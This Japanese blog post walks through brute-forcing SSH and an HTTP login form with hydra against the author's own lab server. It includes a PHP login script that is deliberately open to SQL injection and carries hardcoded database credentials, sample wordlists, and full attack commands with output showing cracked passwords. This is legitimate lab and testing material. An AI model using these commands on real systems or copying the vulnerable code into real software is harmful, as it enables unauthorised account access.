LoginSignup
42
40

More than 5 years have passed since last update.

hydraでブルートフォースアタックをする

Posted at

はじめに

hydra(ヒュドラ)というパスワードクラッカーを利用して
ブルートフォースアタックの検証を実施しました。

攻撃対象は自分で用意したwebサーバです。

hydra対応プロトコル

  • ftp
  • ssh
  • http
  • imap
  • pop3

検証環境

  • 攻撃用サーバ(sqlmap実行側):

    • OS: CentOS6.4 x86_64
    • Python: python2.2.6
  • 攻撃対象サーバ:

    • OS: CentOS6.4 x86_64
    • php: 5.3.2
    • Apache: 2.2.25
    • PostgreSQL: 9.2.5

攻撃対象サイト

下記のPHPスクリプトを用意しました。

ログインフォーム(sql_injection-002.html):

<html>
<head><title>ログインしてください</title></head>
<body>
<form action="sql_injection-003.php" method="POST">
ユーザ名<input type="text" name="ID"><br>
パスワード<input type="text" name="PWD"><br>
<input type="submit" value="ログイン">
</form>
</body>
</html>

ログイン処理スクリプト(sql_injection-003.php):

<?php
  session_start();
  header('Content-Type: text/html; charset=UTF-8');
  $id = @$_POST['ID'];   // ユーザID
  $pwd = @$_POST['PWD']; // パスワード
  // データベースに接続しコネクションオブジェクトを生成
  $con = pg_connect("host=localhost dbname=wasbook user=postgres password=wasbook");
  // SQLの組み立て(プレースホルダは意図的に使用しない)
  $sql = "SELECT * FROM users WHERE id ='$id' and PWD = '$pwd'";
  $rs = pg_query($con, $sql);  // クエリー実行
?>
<html>
<body>
<?php
  if (pg_num_rows($rs) > 0) { // SELECTした行が存在する場合ログイン成功
    $_SESSION['id'] = $id;
    echo 'ログイン成功です';
  } else {
    echo 'ログイン失敗です';
  }
  pg_close($con);
?>
</body>
</html>

hydraインストール

hydraインストール前にlibsshlibssh-develを事前にインストールしておきます。

これをいれないと、hydraでsshのブルートフォースアタックが実行できません。

ちなみに、libsshlibssh-develはCentOS6の場合、yumでもインストールできますが
hydraがサポートしているのが、CentOS6の標準リポジトリにはないバージョン0.4.6だった
ため、rpmファイルをとってきて、手動でインストールしています。

# wget "http://apt.sw.be/redhat/el6/en/x86_64/rpmforge/RPMS/libssh-0.4.6-1.el6.rf.x86_64.rpm"

# wget "http://apt.sw.be/redhat/el6/en/x86_64/rpmforge/RPMS/libssh-devel-0.4.6-1.el6.rf.x86_64.rpm"

# rpm -ivh libssh-0.4.6-1.el6.rf.x86_64.rpm 

# rpm -ivh libssh-devel-0.4.6-1.el6.rf.x86_64.rpm

次にhydraをインストールします。

# wget "http://pkgs.fedoraproject.org/lookaside/extras/hydra/hydra-7.6.tar.gz/62af688a07830d505d227bdaaeff9e0a/hydra-7.6.tar.gz"

# tar zxvf hydra-7.6.tar.gz

# cd hydra-7.6/

# ./configure 

# make

# make install

事前準備

ユーザIDとパスワードの辞書を用意します。

辞書生成ツールを使ってもいいですが、ここでは手動で以下のファイルを作成しました。

ユーザID(userlist.txt):

# cat userlist.txt
administrator
anonymous
corporatename
yamada <-これがwebフォームログイン用のユーザID
email
guest
root
testuser
uniqueid
user 

パスワード(passlist.txt):

# cat passlist.txt 
1234
address
adminpass
password
rootpass
qwerty
testtest
zipcode
abcde <-これがsshログイン用のパスワード
pass1 <-これがwebフォームログイン用のパスワード

sshブルートフォース

構文:

hydra -l [ユーザ名] -P [パスワード辞書ファイル] [対象サーバ名/対象サーバIPアドレス] ssh

実行例:

# hydra -l sec-demo -P passlist.txt example.jp ssh                                                                                                          
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-20 12:50:54
[DATA] 10 tasks, 1 server, 10 login tries (l:1/p:10), ~1 try per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 203.216.196.223   login: sec-demo   password: abcde <-成功している
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-20 12:50:56

httpログインフォームブルートフォース

構文(postの場合):

# hydra -L [ユーザID辞書ファイル] -P [パスワード辞書ファイル] [対象サーバ名/対象サーバIPアドレス] http-post-form 'パス:クエリ:ログイン失敗文字列'

実行例:

# hydra -L userlist.txt -P passlist.txt example.jp http-post-form '/sql_injection-003.php:ID=^USER^&PWD=^PASS^:ログイン失敗です'
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only                                                                                             

Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-20 13:11:56
[DATA] 16 tasks, 1 server, 100 login tries (l:10/p:10), ~6 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 203.216.196.223   login: yamada   password: pass1 <-成功している
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2014-05-20 13:11:57

最後に

httpログインフォームのブルートフォースアタックで、ログイン成功文字列を指定する方法を知りたい、、、

42
40
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
42
40